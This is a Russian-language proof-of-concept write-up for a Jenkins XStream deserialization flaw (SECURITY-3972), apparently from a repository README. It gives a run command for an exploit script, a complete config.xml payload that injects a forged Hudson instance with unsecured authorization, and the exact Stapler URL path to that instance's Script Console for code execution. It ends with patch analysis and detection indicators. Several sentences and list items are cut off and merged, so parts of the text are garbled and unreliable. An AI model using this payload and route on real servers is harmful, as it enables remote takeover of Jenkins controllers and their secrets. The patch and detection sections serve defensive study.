
Jenkins PersistenceRoot Deserialization RCE (SECURITY-3972) — PoC и анализ. Требует Item/Configure; затрагивает weekly <= 2.579 / LTS <= 2.568.2
PoC для уязвимости десериализации Jenkins, исправленной 2026-09-02 (advisory). Учётная запись с низкими привилегиями, имеющая право Item/Configure на любой отдельной задаче, может превратить это в выполнение произвольного кода от имени пользователя ОС Jenkins.
| Затронуто | weekly ≤ 2.579, LTS ≤ 2.568.2 |
| Исправлено | weekly 2.580, LTS 2.568.3 |
| Предусловие | аутентифицированный доступ, Item/Configure на ≥ 1 задаче |
| Воздействие | RCE от имени сервисной учётной записи Jenkins |
| CVSS | 8.8 (High) |
Только для авторизованных исследований безопасности на уязвимых тестовых экземплярах.
pip install requests
python3 exp.py --url http://<target>:<port> --user <user> --password <pass> [--job <name>] --cmd id
Скрипт проверяет, что учётная запись не имеет права на скрипты (ожидается 403), отправляет сформированный config.xml, а затем маршрутизирует через внедрённый граф объектов к Script Console, чей ACL контролируется атакующим.
Два давних поведения стека XStream Jenkins (hudson.util.XStream2 / RobustReflectionConverter) объединяются:
PersistenceRoot, размаршаливалось как обычный объект. Поскольку XStream создаёт экземпляры через Unsafe.allocateInstance (без конструктора), атакующий мог подделать второй синглтон hudson.model.Hudson с произвольными значениями полей — включая authorizationStrategy.FingerprintAction.build, Run.project, AbstractItem.parent), являются транзиентными, поэтому внедрённые объекты становятся доступными через HTTP — формулировка «subsequently handle HTTP requests via Stapler» из advisory.POST /job/<job>/config.xml (требуется только Item/Configure) внедряет в <actions> задачи:
<actions>
<hudson.tasks.Fingerprinter_-FingerprintAction>
<build class="hudson.model.FreeStyleBuild"> <!-- PersistenceRoot вложенный (дефект 1); транзиентное поле (дефект 2) -->
<project class="hudson.model.FreeStyleProject"> <!-- Run.project: protected final transient -->
<parent class="hudson.model.Hudson"> <!-- AbstractItem.parent: transient; поддельный 2-й Jenkins -->
<authorizationStrategy class="hudson.security.AuthorizationStrategy$Unsecured"/>
</parent>
<name>...</name>
<properties/> <!-- избегает NPE в Job.getOverrides() -->
</project>
</build>
<record/>
</hudson.tasks.Fingerprinter_-FingerprintAction>
</actions>
Затем Stapler маршрутизирует запрос во внедрённый граф:
| Сегмент URL | Разрешается в | Путь кода |
|---|---|---|
/job/<job>/fingerprints | внедрённый FingerprintAction | urlName == "fingerprints" + Actionable.getDynamic() |
/run | поддельный FreeStyleBuild | FingerprintAction.getRun() читает транзиентное build |
/parent | поддельный FreeStyleProject | Run.getParent() читает final transient project |
/parent | поддельный hudson.model.Hudson | AbstractItem.getParent() читает транзиентное parent |
/scriptText | Script Console поддельного экземпляра | Jenkins.doScriptText() → _doScript(..., getACL()) |
Обход авторизации: doScriptText проверяет ADMINISTER против экземпляра, который получил запрос, т.е. getACL() поддельного Hudson, который выводится из его собственного поля authorizationStrategy — AuthorizationStrategy$Unsecured предоставляет всё. Стратегия авторизации реального контроллера никогда не участвует. Поскольку во время десериализации конструктор не выполняется, инициализаторы полей не применяются; полезная нагрузка должна явно задавать authorizationStrategy (и properties).
Сравнение jenkins-2.579 → jenkins-2.580:
RobustReflectionConverter.doUnmarshal теперь отказывается размаршаливать подтип PersistenceRoot во вложенное поле (CriticalXStreamException: "PersistenceRoot objects are document roots and must not appear as nested field values"), разрешая только три безопасные формы: обратные ссылки XStream reference=, неперсистентные заменяющие объекты resolves-to (Run$Replacer, User$Replacer, …) и скалярные ссылки конвертера с одним значением.@XStreamNotDeserializable / @XStreamDeserializable плюс TRANSIENT_FIELD_STRICT_MODE ужесточают размаршаливание транзиентных полей по каждому полю.Jenkins.readResolve() теперь отказывается десериализовать второй синглтон Jenkins и получил заменяющий объект writeReplace().test/src/test/java/jenkins/security/Security3972Test.java, Security3972QueueRestartTest.java.POST /job/*/config.xml, содержащие вложенные Fingerprinter_-FingerprintAction / hudson.model.Hudson, или запросы к /job/*/fingerprints/run/parent/parent/scriptText.config.xml задач на загрязнение.